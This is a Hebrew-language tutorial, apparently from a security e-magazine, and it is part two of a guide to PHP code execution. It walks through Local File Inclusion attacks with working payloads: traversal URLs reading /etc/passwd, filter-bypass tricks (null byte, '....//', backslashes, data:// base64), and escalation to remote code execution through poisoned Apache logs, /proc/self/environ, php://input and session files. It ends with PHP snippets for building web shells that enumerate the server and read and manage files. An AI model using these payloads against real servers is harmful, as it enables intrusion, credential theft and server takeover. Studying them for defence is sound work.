
 

PHP Code Execution - חלק ב' 
 Hyp3rInj3cT10n: מאת

 

 'הקדמה חלק ב

PHP Code Execution / Injection היא כותרת לקבוצת פרצות אבטחה באפליקציות Web אשר ניצולן 

. על השרת ולעיתים אף הרצת פקודות מעטפת על המכונה עצמה PHP מאפשר לתוקף להריץ קטעי קוד

חשוב לציין כי  .בצירוף דוגמאות קוד והסברים, מקבוצת פרצות זו שונות ניקותטכבמסמך הזה אציג מספר 

ומומלץ לקרוא את חלקו הראשון לפני קריאת החלק , זהו החלק השני ,מסמך זה מחולק לשני חלקים

 :ניתן להורידו מכאן. ל"הנ

http://sites.google.com/site/hyp3rinj3ct10n/tutorials/PHPCodesExecution-PartA.pdf 

 :או מכאן

http://www.digitalwhisper.co.il/issue23 

 

 :בחלק הראשון דיברתי על הטכניקות

 Remote File Inclusion 

 Dynamic Evaluation 

 Shell Commands Injection 

 :אתייחס לנושאים, בחלק השני, והפעם

 Local File Inclusion 

  סקריפטים שימושיים עבורPHP WebShells 

 

http://sites.google.com/site/hyp3rinj3ct10n/tutorials/PHPCodesExecution-PartA.pdf
http://www.digitalwhisper.co.il/issue23
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אני רוצה להתייחס להערה שקיבלתי מאדם גדול שאני מעריך מאוד לגבי החלק הקודם של  לפני שנתחיל

שנים זה היה  4-אם היית מפרסם את זה לפני כ: "סכם את דבריו למשהו כזהאפשר ל, בקצרה. המסמך

 .הערה בהחלט במקום וחשוב לי להציג אותה ולהתייחס אליה". רלוונטי

 Remote File Inclusion-   הטכניקה מתבססת על כך שבקובץ ההגדרות שלphp.ini  מוגדר

allow_url_include=On .גירסת ה-PHP  כבר , ובעצם)ובה , 5.3.8לרגע זה היא החדשה ביותר נכון

 RFI, במילים אחרות. Offקיבלה ברירת מחדל  allow_url_includeההגדרה ( מלפני לא מעט גירסאות

 .לא ניתנת לשימוש ודי נחשבת טכניקה ישנה

 Dynamic Evaluation -  הטכניקות שהוצגו בפרק( אולי מלבדPCRE Evaluation ) באמת ישנות וזה לא

 .ולא נפוץ למצוא כיום ניצול לטכניקות האלה, ודעות באמת עלתה קצתהמ. סוד

 

 Shell Commands Injection -  גם כאן מדובר בטכניקה שיחסית נחשבת כבר מוכרת והיום גם

 .פחת PHPהשימוש בהרצת פקודות דרך 

 

 :ש חשוב לזכור ,ובכל זאת

 נו להשתמש בטכניקות ישנותמה שכן מאפשר ל, אנשים עדיין משתמשים במוצרים לא מעודכנים. 

 וכן אפשר למצוא סיטואציות לשימוש בטכניקות ישנות, אנשים עדיין עושים שטויות ודברים טיפשיים. 

  לכן תמיד אפשר לצפות לטעויות שיעלו , לקצר תהליכים( ולפעמים פשוט חייבים)אנשים אוהבים

 .טכניקות יחסית ישנות

 .ניתנות לשימוש למרות היותן ישנות גם טכניקות שנחשבות ישנות עדיין, כלומר
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Local File Inclusion 

 Path/Directory Traversal-סימוני תיקיות ו

 :יש להכיר כמה סימוני תיקיות חשובים

 :סימון ראשון

. התיקיה שבה נמצאת התיקיה הנוכחית מייצג את -( שתי נקודות רצופות ואז סלאש) "/.." הצירוף

 Path Traversal בדרך כלל שימוש בזה נקרא באנגלית ;הערה  Parent Directory.באנגלית זה נקרא

 :לדוגמה  Directory Traversal.או

/home/roy/domains/../file.ext 

 :למעשה מהווה

/home/roy/file.ext 

 

 

 :סימון שני

 .מייצג את התיקיה הנוכחית בה אנו נמצאים( נקודה אחת בודדת שאחריה יש סלאש) "/." הסימן

 :גמהלדו

./file.ext 

 .בתיקיה הנוכחיתfile.ext -ל מתייחס ל"הנ

 

 :סימון שלישי

 .נתינת המיקום המלא של הקובץ -מיקום מלא 

 :לדוגמה

/etc/passwd 

 

C:/Windows/system32/cmd.exe 

ללא תלות בתיקיה שבה אני , נתתי מיקום מלא כדי לגשת לקבצים( מערכות הפעלה שונות)בשני המקרים 

 .ונמצא עכשי
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 הטכניקה

Local File Inclusion דומה מאוד ל-Remote File Inclusion , ההבדל הוא שפה הניצול והשימוש יהיה עם

 :נתחיל בדוגמה שאתם כבר מכירים מהפרק הקודם .קבצים מקומיים ולא על קבצים מרוחקים

include($_GET['page']); 

 :וההתחברות באתר מקשרת אותנו לדף הבא

index.php?page=login.php 

 

כך למעשה . הוא מודפס, PHPאם אנחנו מבצעים ייבוא לקובץ שאינו קובץ , כמו שהסברתי בפרק הקודם

חשוב לציין שפה אנחנו מתעסקים עם קבצים פנימיים ולכן חשוב לדעת , בנוסף. מבצעים קריאה לקבצים

כמו ניסיון לייבא קובץ )PHP אפשר לפעמים לגלות מידע שימושי משגיאות. אילו תיקיות וקבצים קיימים

  (Information Disclosure):או כל טכניקה אחרת לחשיפת מידע( שלא קיים

 :בהנחה שהקובץ שרץ נמצא בתיקיה

/home/roy/domains/domain.com/public_html 

 :כך etc/passwd/ אז אוכל לשלוף את תוכנו של הקובץ

index.php?page=../../../../../etc/passwd 

כמספר התיקיות שצריך לעלות כדי להגיע לתיקיה , פעמים 5לב שהשתמשתי בצירוף שתי הנקודות  שימו

מדפיס אותו כטקסט  PHP-אז ה, שיכול לרוץ PHP-מאחר והקובץ הזה לא מכיל קוד ב .הראשית בשרת

ד במידה וזה עוב ...נמשיך להתקדם לאט לאט? מתחילים להבין, כך קיבלנו את התוכן של הקובץ. רגיל

לבדיקה האם תיקיה מסויימת Path/Directory Traversal -נוכל להשתמש ב, והצלחנו לקרוא קובץ מסויים

 :להלן מספר דוגמאות. קיימת

index.php?page=../../../../../folder/../etc/passwd 

index.php?page=../../../../../folder/folder2/../../etc/passwd 

index.php?page=../../../../../folder/folder2/folder3/../../../etc/passwd 

בהתאם לעומק התיקיות שבו  Parent Directory-שימו לב שיש לשמור על מספר המעברים לתיקיית ה

בשורה . שתי חזרות -שתי תיקיות , בשורה השניה. חזרה אחת -תיקיה אחת , בשורה הראשונה: נכנסנו

להלן טכניקה מיוחדת . נחזור לקריאת קבצים ...וכן הלאה .שלוש חזרות, שלוש תיקיות -השלישית 

 :לקריאת קבצים

index.php?page=php://filter/read=convert.base64-

encode/resource=login.php 

 פונקציהנשתמש ב, לפיענוח. Base64-אך ב ,login.phpהטריק הזה יחזיר לנו את התוכן של הקובץ 

base64_decode. 

http://php.net/base64_decode
http://php.net/base64_decode
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 עקיפת מנגנוני הגנה

 ;str_replace-כשיש שימוש ב

 :דוגמה

$_GET['page'] = str_replace('../','',$_GET['page']); 

 :)ועדיין השגתי את מה שרציתי, יצונזרו אדוםהביטויים ב)אופן העקיפה 

index.php?page=....//....//....//....//....//etc/passwd 

 

 ;כשיש סיומת לקובץ

 :)אני מזכיר שכך גם לא יהיה צריך להשתמש בסיומת לקובץ בקישור עצמו)לדוגמה 

include($_GET['page'].'.php'); 

 :לדוגמה Null Byte Attack-נשתמש בRFI… כבר היינו בסיפור הזה עם 

index.php?page=../../../../../etc/passwd%00 

אז הם צריכים להיות כבויים כדי שזה  Null Byte-מבצעים פעולת הברחה לתו ה Magic Quotes-ה: ערהה

 .יעבוד

 

 ;פועל Magic Quotes-ומנגנון ה, כשיש סיומת לקובץ

 Path-הפעם נשתמש ב. פועל Magic Quotes-אך הפעם מנגנון ה, סיטואציה זהה לדוגמה שהרגע נתתי

Truncation לדוגמה. כמה פעמים שנרצה מבלי להשפיע על התוצאה"/." -ו"/" יף את המאפשר לנו להוס: 

index.php?page=../../../../../etc/passwd////// 

 :או

index.php?page=../../../../../etc/passwd/./././././. 

 

 ;כשיש חסימת סלאש

if ( strstr($_GET['page'],'/') ) die('An error has been 

occured.'); include($_GET['page']); 

 :פועל במקרים רבים, לדוגמה( BackSlash" )\"-ננסה להשתמש ב, במקרה כזה

index.php?page=..\..\..\..\..\etc\passwd 
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 ;כשיש חסימה למרכיבים הבסיסיים בטכניקה

 :יש צינזור מלא על כל תווי הנקודה, לדוגמה

$_GET['page'] = str_replace('.','',$_GET['page']); 

 :נוכל להתחכם

index.php?page=data://text/plain;base64,Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3

ZA== 

 

Local File Inclusion to Remote Code Execution 

כל מה . זה אפשרי וגם לא מסובך כל כך (Local File Inclusion to Remote Code Execution) הרצת קודים

במידה ויש לנו מיקום . לא נשמע קשה במיוחד. PHP-קובץ בשרת שקיים בו קוד בשעלינו לעשות זה ליבא 

כאן נכנסים ? אבל מה אם אין. נוכל ליבא אותו, (שאולי העלנו אך אין גישה ישירה אליו)של קובץ ספציפי 

. קבצים אלה שומרים ומתעדים כמעט כל פעולה שמתבצעת בשרת (Log files). לתמונה קבצי הלוגים

 ,IPכתובת , User-Agent: פרטים כגון, נשמרים עלינו פרטים בקבצי הלוגים, כשאנו גולשים באתר, לדוגמה

נשמר המידע המתאים בקובץ הלוג המתאים , במידה ומתקבלת שגיאה כלשהיא, כמו כן... לאיפה נכנסנו

 .שהוגדר מראש בשרת

 

 ;Apache Access Log-שימוש ב

 :אם אכנס לכאן, במילים אחרות. רים המאוחסנים על השרתשלנו באת" תנועות"קובץ זה מתעד את ה

http://site.com/<?php eval($_GET[code]); ?> 

 :בכדי לייבא את הקובץ Local File Inclusion-אשתמש ב, ואז

index.php?page=../../../../apache/logs/access.log 

 :בצורה הבאה PHP-אוכל להריץ קודים ב

index.php?page=../../../../apache/logs/access.log&code=echo($_GET[a]); 

 .כך גם אוכל להריץ פקודות בשרת ולהריץ סקריפטים שימושיים נוספים
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 ;Apache Error Log-שימוש ב

 :אם אכנס למשהו שלא קיים, כלומר. קובץ זה מתעד את השגיאות שגולשים נתקלים בהם בעת גלישה

http://site.com/<?php echo("Roy"); ?> 

 :בכדי לייבא את הקובץ Local File Inclusion-ואשתמש ב

index.php?page=../../../../../apache/logs/error.log 

 .יורץ PHP-הקוד שכתבתי ב

 

 ;/proc/self/environשימוש בקובץ

, ולכל תהליך קובץ משלו עם הרבה מידע שימושי עבורנו, תהליך חדש נוצר ,PHPכשאנחנו נכנסים לקובץ 

בניצול עצמו , לכן. הקובץ הזה מכיל את המידע על התהליך האחרון שנוצר. מידע מהבקשה שנשלחה

, כלומר. הכנסת מידע לקובץ הזה מתבצעת על ידי הבקשה שאנו שולחים לשרת. נצטרך לפעול מהר מאוד

 :אם אשלח בקשה שמכילה, כלומר User-Agent… מסויים כמו Header אם נשנה

User-Agent: <?php echo('Roy'); ?> 

 :ואכנס מספיק מהר אל

index.php?page=../../../../../proc/self/environ 

 .שלי יורץ בהצלחה PHP-אז קוד ה

 

 (העלאת קבצים או תמונות)שימוש במערכת האתר 

ואז הם מקשרים אליהם , לא פעם ולא פעמיים נתקלתי באתרים המאפשרים להעלות אליהם קבצים

 :לדוגמה. אפשר להעלות קבצים ואז לנווט אליהם? אז למה שלא נתפוס על זה טרמפ (.להורדה או הצגה)

index.php?page=uploads/myfile.rar 

במידה ומדובר במערכת , בדומה. הוא יורץ, PHP-אך אם כתבתי בפנים קוד ב ,rarהסיומת היא אמנם 

אם ישנה בדיקה , אולם. ונהבתוך קובץ עם סיומת של תמ PHP אפשר לכתוב קוד, העלאת תמונות בלבד

אני אסביר ! ?מה. ניתן לנצל בחוכמה את המבנה של קבצי התמונות, אמיתית לכך שהקובץ הוא תמונה

ושם נוכל לנסות להכניס " טקסט חופשי"יש קבצים עם סיומת של תמונה ולהם יש איזורים של : בקצרה

וך תמונות הוא נושא בפני עצמו החבאת טקסטים בת. שיורץ ברגע שתיפתח התמונה בשרת PHP-קוד ב

 .אז לא נרחיב עליו LFI-שאין לו באמת קשר ל
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 ;php://input-שימוש ב

שהצגתי מקודם  php://filter-בדומה ל) Wrapper שזהו php://input-עוד טכניקה מעניינת היא שימוש ב

כלומר את מה שאנחנו שולחים בדיוק , RAW POST DATA-הזה קורא את ה Wrapper-ה(. יאת קבציםלקר

 :נשתמש בזה כך. POST-ב

index.php?page=php://input 

 .שנרצה להריץ PHP-את קוד ה POST-נשלח ב, ומקביל

 

 Sessions-שימוש ב

ך באפשרותנו גם לשלוט על התוכן א, חדש בשרת Session ישנם מצבים בהם אנחנו יכולים לגרום ליצירת

חדש ולכתוב בו מה  Session מהחשבון שלנו נוכל ליצור, Shared Hosting))בשרת שיתופי , לדוגמה. שלו

. הרי הוא קובץ לכל דבר, Session ID-שלנו לפי ה Session-נוכל גם לייבא את קובץ ה, ועכשיו. שנרצה

 .שמוחזר לגולש-Session ID ולא על ה, הקובץ עצמו ,ששמור בשרת Session-שימו לב שאני מדבר על ה

 :נקראים כך Sessions-קבצי ה

sess_SessionID 

SessionID הוא המספר המזהה של ה- Sessionשבדרך כלל נשמר בעוגיה הנקראת , שלנו.PHPSESSID 

 :בדרך כלל שמורים באחת מהתיקיות הבאות Sessions-קבצי ה

/tmp 

/tmp/session 

/tmp/php/session 

/var/lib/session 

/var/lib/php4 

/var/lib/php5 

/var/lib/php/session 

/var/lib/php4/session 

/var/lib/php5/session 

 

 

http://php.net/manual/en/wrappers.php.php
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Local File Inclusion to Client Side Attacks; 

ץ כשאנחנו מבצעים ייבוא לקוב, : Remote File Inclusion to Client Side Attacksבדומה למה שאמרתי על

למה שלא ננסה לנצל גם  .הקובץ רק מוצג, PHP-אך אם הקוד אינו ב. הוא מורץ PHP-פנימי המכיל קוד ב

אבל בכל  Javascript-יכולים לתת לי בדרך כלל הרבה יותר מקודים ב PHP-קודים ב, נכון? את הכיוון הזה

 :כלומר. זאת אני רוצה גם לציין את הכיוון הזה

index.php?page=http://site.com/file.html 

אין  .אשר יכיל קוד בשפת צד לקוח HTML של קובץ( לגרום להצגה שתגרום להרצה" )לייבוא"נגרום 

נוכל לנסות לגרום לאנשים ליפול קורבן למתקפות , לכן. לשכוח את העובדה שזה פועל בצד הלקוח

... ועוד  Cross Site Scripting ,Cross Site Tracing ,Cross Site Request Forgery:הפועלות בצד הלקוח כמו

כלומר אפשר לנסות לבצע מתקפות הפועלות , אין לשכוח כי בצד הלקוח מטפל הדפדפן של הגולש, בנוסף

כך  Microsoft Internet Explorer 6-יש הרבה שעוד משתמשים אפילו ב, להזכירכם! על הדפדפן עצמו

 ...שאין גבול לאפשרויות

 

 תוספות והערות

 ;ר לייבאקבצים שאפש

קודם כל חשוב להדגיש שהניצול יכול להתבצע באופן זהה לדוגמאות שהצגתי במספר רב של קבצים 

. הקבצים שהצגתי הם הפופולרים ביותר במערכות הפעלה מובנות לינוקס. נוספים שלא התייחסתי אליהם

נים בהתאם ישנם הרבה מצבים שונים שבהם הקבצים אליהם התייחסתי נמצאים במיקומים שו, בנוסף

 .למה שמותקן בשרת ובהתאם לשינויים של בעל השרת

 

 ;קריאת קבצים לעומק

מומלץ להתחיל בקריאה לעומק של הקובץ הראשי , כשנתחיל להשתמש בטכניקה לצורך קריאת קבצים

כדאי לקרוא גם אותם לעומק , במידה ויש בו פעולות ייבוא לקבצים נוספים בשרת( index-ה)של האתר 

 .וא עוד קבצים ודברים שיכולים לתרום לנובמטרה למצ

 :כל הקריאה המעמיקה הזו של הקבצים יכולה לאפשר לנו, בסופו של דבר

  (משתמשים במערכת עצמה ועוד, חשבון בשרת, למסד נתונים)צפיה פרטי התחברות... 

 צפיה במימוש מנגנוני המערכת ואיתור פירצות אבטחה נוספות. 

  וחבאות בקבצי המערכתמ/ איתור אפשרויות מוסתרות. 
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 PHP WebShells  סקריפטים שימושיים עבור

שימו לב  PHP WebShell. אשר יכולים להוות שימוש רב בבניית PHP-הפרק הזה יציג דברים חשובים ב

 .מוכנים PHP WebShells ולא יביא לכם PHP WebShell שהפרק הזה לא מלמד לבנות

 וסביבתו PHP-פרטים על ה

כדי  phpinfo הפונקציה הראשונה שנרצה לנסות להריץ היא, וסביבתו PHP-ם מידע על הכשאנחנו מחפשי

 :פשוט להריץ ולראות את הפלט המדהים. להגיע לגן העדן שאנחנו מחפשים אחריו

<?php 

phpinfo(); 

?> 

 .חהלפעמים הפונקציה חסומה לצרכי אבט ;הבעיה

 :ini_get_all-נשתמש ב! יש לנו עוד טריק בשרוול, אל פחד

<?php 

print_r(ini_get_all()); 

?> 

 [.מערכים בפשטות ובקצרה כי היא פונקציה שעוזרת להציג print_r-אני משתמש ב ;הערה]

 :בשרת PHP-שמחזירה לנו את גירסת ה phpversion הפונקציה

<?php 

echo phpversion(); 

?> 

 :הקיים ZEND-ו את גירסתו של מנוע המחזירה לנ zend_version הפונקציה

<?php 

echo zend_version(); 

?> 

 :PHP-מחזירה לנו תיאור קצר של מערכת ההפעלה עליה פועל ה php_uname הפונקציה

<?php 

echo php_uname(); 

?> 

 :נו מידע אודות מצב שטח הדיסקיש לנו גם פונקציות שמחזירות ל PHP-ב

 :מחזירה לנו את השטח שנותר בדיסק הקשיח )diskfreespace או גם) disk_free_spaceהפונקציה  *

<?php 

// Windows: 

echo disk_free_space("C:"); 

 

// Linux: 

echo disk_free_space("/"); 

?> 

http://php.net/phpinfo
http://php.net/ini_get_all
http://php.net/ini_get_all
http://php.net/print_r
http://php.net/phpversion
http://php.net/zend_version
http://php.net/.php-uname
http://php.net/disk_free_space
http://php.net/diskfreespace
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 :של הדיסק הקשיח( סך כל השטח)מחזירה לנו את גודלו  disk_total_space הפונקציה *

<?php 

// Windows: 

echo disk_total_space("C:"); 

 

// Linux: 

echo disk_total_space("/"); 

?> 

  Windows:עוד טריק קטן הוא הצגת הכוננים הזמינים במערכת ההפעלה

for ( $i='a'; $i<='z'; $i++ ) 

    if ( @opendir($i.':/') ) 

        echo $i.' '; 

 :שרץ וסביבתו PHP-המחזיר לנו מידע על סקריפט ה ,SERVER שחשוב להכיר הוא Superglobals-אחד ה

<?php 

print_r($_SERVER); 

?> 

 :)שימו לב לפרטים המופיעים)י בשרת הביתי דוגמה לפלט אצל

Array 

( 

    [HTTP_HOST] => localhost 

    [HTTP_CONNECTION] => keep-alive 

    [HTTP_REFERER] => http://localhost/ 

    [HTTP_CACHE_CONTROL] => max-age=0 

    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) 

AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 

    [HTTP_ACCEPT] => 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

    [HTTP_ACCEPT_ENCODING] => gzip,deflate,sdch 

    [HTTP_ACCEPT_LANGUAGE] => he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4 

    [HTTP_ACCEPT_CHARSET] => windows-1255,utf-8;q=0.7,*;q=0.3 

    [HTTP_COOKIE] => _chartbeat2=slhbwv1reyte9hbv 

    [PATH] => %CommonProgramFiles%\Microsoft Shared\Windows 

Live;C:\Program Files (x86)\PC Connectivity 

Solution\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Win

dows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Common 

Files\Adobe\AGL;D:\Program Files\ATI Technologies\ATI.ACE\Core-

Static;D:\Program Files (x86)\QuickTime\QTSystem\;C:\Program 

Files\Common Files\Microsoft Shared\Windows Live; 

    [SystemRoot] => C:\Windows 

    [COMSPEC] => C:\Windows\system32\cmd.exe 

    [PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC 

    [WINDIR] => C:\Windows 

    [SERVER_SIGNATURE] =>  

    [SERVER_SOFTWARE] => Apache/2.2.17 (Win32) 

    [SERVER_NAME] => localhost 

    [SERVER_ADDR] => 127.0.0.1 

    [SERVER_PORT] => 80 

http://php.net/disk_total_space
http://php.net/manual/en/language.variables.superglobals.php
http://il2.php.net/manual/en/reserved.variables.server.php
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    [REMOTE_ADDR] => 127.0.0.1 

    [DOCUMENT_ROOT] => D:/Webserver/home 

    [SERVER_ADMIN] => webmaster@localhost 

    [SCRIPT_FILENAME] => D:/Webserver/home/script.php 

    [REMOTE_PORT] => 3555 

    [GATEWAY_INTERFACE] => CGI/1.1 

    [SERVER_PROTOCOL] => HTTP/1.1 

    [REQUEST_METHOD] => GET 

    [QUERY_STRING] =>  

    [REQUEST_URI] => /script.php 

    [SCRIPT_NAME] => /script.php 

    [PHP_SELF] => /script.php 

    [REQUEST_TIME] => 1313778873 

) 

 :רץ הסקריפט הנוכחי/מחזירה לנו את שם החשבון שדרכו פועל get_current_user הפונקציה

<?php echo get_current_user(); ?> 

 :מחזירה את מספר החשבון המריץ את הסקריפט getmyuid הפונקציה

<?php echo getmyuid(); ?> 

 :מחזירה את מספר הקבוצה של החשבון המריץ את הסקריפט getmygid הפונקציה

<?php echo getmygid(); ?> 

 :PHP-מחזירה את מספר התהליך של ה getmypid נקציההפו

<?php echo getmypid(); ?> 

 :PHP-מחזירה לנו את הממשק שמריץ את ה php_sapi_name הפונקציה

<?php echo php_sapi_name(); ?> 

 .קבועים ומשתנים אחרים שהצגתי ועוד אציג, מידע זה חזר ויחזור בפונקציות

 הספריות והפונקציות הזמינות

 .שנטענו  (extensions)הספריותמחזירה מערך ובו שמות כל  get_loaded_extensions הפונקציה

<?php 

print_r(get_loaded_extensions()); 

?> 

 (:פלט חלקי) אצלי בשרת הביתי זה החזיר, לדוגמה

Array 

( 

    [0] => Core 

    [1] => bcmath 

    [2] => calendar 

    [3] => com_dotnet 

http://php.net/get_current_user
http://php.net/getmyuid
http://php.net/getmygid
http://php.net/getmypid
http://php.net/php_sapi_name
http://php.net/get_loaded_extensions
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    [4] => ctype 

    [5] => date 

    [6] => ereg 

    [7] => filter 

    [8] => ftp 

    [9] => hash 

    [10] => iconv 

    [11] => json 

    [12] => mcrypt 

    [13] => SPL 

    [14] => odbc 

    [15] => pcre 

    [16] => Reflection 

    [17] => session 

    [18] => standard 

    [19] => mysqlnd 

    [20] => tokenizer 

    [21] => zip 

    [22] => zlib 

    [23] => libxml 

    [24] => dom 

    [25] => PDO 

    [26] => openssl 

    [27] => SimpleXML 

    [28] => wddx 

    [29] => xml 

    [30] => xmlreader 

    [31] => xmlwriter 

) 

 :המחזירה לנו את כל הפונקציות הנתמכות get_defined_functions פונקציה שימושית נוספת היא

<?php 

print_r(get_defined_functions()); 

?> 

 .שמאפשר לנו גם לדעת אילו ספריות נטענומה , ברשימה נמצאות גם פונקציות שנטענו מתוך ספריות

 :מהפלט של זה בשרת הביתי שלי לחלק קטן הנה דוגמה

   [1184] => mysql_connect 

    [1185] => mysql_pconnect 

    [1186] => mysql_close 

    [1187] => mysql_select_db 

    [1188] => mysql_query 

    [1189] => mysql_unbuffered_query 

    [1190] => mysql_db_query 

    [1191] => mysql_list_dbs 

    [1192] => mysql_list_tables 

    [1193] => mysql_list_fields 

    [1194] => mysql_list_processes 

 MySQL.מהחלק שהראיתי לכם אפשר לראות שנטענה הספריה עבור 

http://php.net/get_defined_functions
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 משתנים וקבועים שהוגדרו

 :מחזירה מערך ובו רשימה של כל המשתנים שהוגדרו get_defined_vars הפונקציה

<?php 

print_r(get_defined_vars()); 

?> 

  :GLOBALSשנקרא  Superglobal-לאותו שימוש יש לנו אפשרות גם להשתמש ב

<?php 

print_r($GLOBALS); 

?> 

נוכל  get_defined_constants ובעזרת הפונקציה ,משתנים קבועים ישנו סוג אחר של משתנים הנקרא

 :לראותם

<?php 

print_r(get_defined_constants()); 

?> 

 :מהפלט בשרת הביתי שלי לחלק קטן שימו לב

  [ZEND_THREAD_SAFE] => 1 

   [ZEND_DEBUG_BUILD] =>  

   [PHP_VERSION] => 5.3.5 

   [PHP_MAJOR_VERSION] => 5 

   [PHP_MINOR_VERSION] => 3 

   [PHP_RELEASE_VERSION] => 5 

   [PHP_EXTRA_VERSION] =>  

   [PHP_VERSION_ID] => 50305 

   [PHP_ZTS] => 1 

   [PHP_DEBUG] => 0 

   [PHP_OS] => WINNT 

   [PHP_SAPI] => apache2handler 

   [DEFAULT_INCLUDE_PATH] => .;C:\php\pear 

   [PEAR_INSTALL_DIR] => C:\php\pear 

 

http://php.net/get_defined_vars
http://il2.php.net/manual/en/reserved.variables.globals.php
http://il2.php.net/manual/en/language.constants.php
http://il2.php.net/manual/en/language.constants.php
http://php.net/get_defined_constants
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 -PHPהממשק שמריץ את ה

הקשורות לממשק  PHP-ובחלק זה אתייחס לפונקציות ב, PHP-למדנו כבר לזהות מי הממשק שמריץ את ה

 .זה

Apache 

 :Apache-מחזירה לנו את הגירסה של ה apache_get_version הפונקציה

<?php echo apache_get_version(); ?> 

 :Apache-מחזירה לנו את המודולים של ה apache_get_modules הפונקציה

<?php print_r(apache_get_modules()); ?> 

 :לדוגמה. Apache-מאפשרת הצגה של ערכם של המשתנים הסביבתיים של ה apache_getenv הפונקציה

<?php echo apache_getenv('SERVER_ADDR'); ?> 

 :PHP-בסיום הרצת סקריפט ה Apache-סוגרת את התהליך של ה minateapache_child_ter הפונקציה

<?php echo apache_child_terminate(); ?> 

 . Apacheולא רק עבור FastCGI הפונקציה תעבוד גם עבור PHP 5.4.0 מגירסה ;הערה

, PHP ,Perl)בץ שנרצה בקשה לאיזה קו-כלומר תת request-,subמאפשרת הרצת  virtual הפונקציה

SHTML וכו') 

NSAPI 

  Apache.של virtual-פועלת בדומה ל nsapi_virtual הפונקציה

IIS 

יש צורך להתקין את הספריה ; החיסרון PHP לש IIS-הספריית -יש מגוון פונקציות רחב ב  IISעבור

 Windows-ל Extensions-ולכן חשוב גם להכיר את ה  Windows,זמין רק עבור IIS. המיוחדת שלהן

 .שבדרך כלל מתלווים

CLI 

, גם פה אין כל כך מה להרחיב. CLI)או בקיצור ) Command Line-גם דרך ה PHP חשוב לזכור שניתן להריץ

 .PHP Command Line Usageולכן רק אתן קישור רשמי אל 

http://php.net/apache_get_version
http://php.net/apache_get_modules
http://php.net/apache_getenv
http://php.net/apache_child_terminate
http://php.net/virtual
http://php.net/nsapi_virtual
http://il2.php.net/manual/en/book.iisfunc.php
http://il2.php.net/manual/en/book.iisfunc.php
http://il2.php.net/manual/en/refs.utilspec.windows.php
http://il2.php.net/manual/en/refs.utilspec.windows.php
http://il2.php.net/manual/en/refs.utilspec.windows.php
http://il2.php.net/manual/en/features.commandline.php
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 ניהול קבצים ותיקיות

 ;הצגת שמות קבצים ותיקיות
 :glob-שימוש ב

<?php 

print_r(glob("folder/*")); 

?> 

 :rscandi-שימוש ב

<?php 

print_r(scandir("folder/")); 

?> 

 :readdir-וב opendir-שימוש ב

<?php 

if ( $handle = opendir('.') ) 

{ 

    while ( $file = readdir($handle) ) 

            echo $file."<br />\n"; 

    closedir($handle); 

} 

?> 

 :dir-שימוש ב

<?php 

$handle = dir("folder/"); 

while ( $file = $handle->read() ) 

    echo $file."<br />\n"; 

$handle->close(); 

?> 

 

 ;תיקיותניהול 
 :mkdir הפונקציה -יצירת תיקיה 

<?php 

// Create a new folder: 

mkdir("newfolder"); 

 

// Create a new folder and set permissions via second argument: 

mkdir("newfolder",0777); 

?> 

 .רשאות של התיקיהבדוגמה השניה גם קבענו את הה

http://php.net/glob
http://php.net/scandir
http://php.net/opendir
http://php.net/readdir
http://php.net/manual/en/class.dir.php
http://php.net/mkdir
http://php.net/mkdir
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 :rmdir הפונקציה -מחיקת תיקיה 

<?php 

rmdir("folder"); 

?> 

 :rename הפונקציה -שינוי שם לתיקיה 

<?php 

rename("folder","newname"); 

?> 

  :chmod הפונקציה -לתיקיה  שינוי הרשאות

<?php 

chmod("folder",0777); 

?> 

. בשביל זה צריך להבין את מערכת ההרשאות של לינוקס? 0777מה זה : שאלת המיליון, וכמובן

שיעשה בשבילכם את חישוב המספרים כדי שתוכלו לשחק בזה ולקבל קצת הבנה לגבי איך  אתר מצאתי

  Info. יש גם הסברים בלשונית. זה עובד

 קריאת קבצים

 :ןמהאני אציג כמה . כיום יש מגוון דרכים לקריאת קבצים

 :file_get_contents-שימוש ב

echo file_get_contents("filename.ext"); 

 :readfile-שימוש ב

readfile("filename.ext"); 

 :)פונקציות זהות) show_source-וב ehighlight_fil -שימוש ב

highlight_file("filename.ext"); 

show_source("filename.ext"); 

 .בהתאם לתחביר PHP-פונקציות אלה צובעות קודים ב: הערה

 :fread-וב fopen@-שימוש ב

$handle = @fopen("filename.ext", "r"); 

echo fread($handle, filesize("filename.ext")); 

fclose($handle); 

 [.fgets ,fgetssכמו  פונקציות נוספות fread ניתן לשלב במקום: הערה]

 :file-שימוש ב

echo implode('', file("filename.ext")); 

http://php.net/rmdir
http://php.net/rmdir
http://php.net/rename
http://php.net/rename
http://php.net/chmod
http://permissions-calculator.org/
http://permissions-calculator.org/
http://il2.php.net/file_get_contents
http://il2.php.net/readfile
http://il2.php.net/highlight_file
http://il2.php.net/highlight_file
http://il2.php.net/show_source
http://il2.php.net/manual/en/function.fopen.php
http://il2.php.net/fread
http://il2.php.net/manual/en/function.file.php


 

PHP Code Execution - חלק ב'  
www.DigitalWhisper.co.il 

 29  3122 דצמבר, 27גליון 

 

 
 

 הורדת קבצים

אין הבדל גדול מבחינת , למעשה .לפעמים אנחנו רוצים לבצע הורדה של קבצים ולא סתם הצגה שלהם

 :דוגמה להורדת קובץ .נקודה חשובה שבחרתי להתייחס אליה אך זו, קוד

<?php 

header("Content-Type: application/octet-stream"); 

header('Content-Disposition: attachment; filename="filename.ext"'); 

echo file_get_contents('filename.ext'); 

?> 

 .וספת הזו גורמת להורדה במקום להצגה של התכנים בדףהת. החלק העיקרי כאן הוא החלק שהבלטתי

 

 ניהול קבצים

פירצות אבטחה  :מומלץ לעבור על מסמך שכתבתי. move_uploaded_file הפונקציה -העלאת קובץ 

רבה סיטואציות המכיל דוגמאות מכל הסוגים לה ,PHP נפוצות ואפשריות בעת העלאת קבצים בעזרת

 : fopen@הפונקציה -יצירת קובץ חדש ועריכת קבצים . PHP-הקשורות להעלאת קבצים ב

$handle = @fopen("filename.ext", "a+"); 

במקרה )ההבדלים המשמעותיים שהפונקציה מבצעת נקבעים על ידי הפרמטר השני שמועבר , למעשה

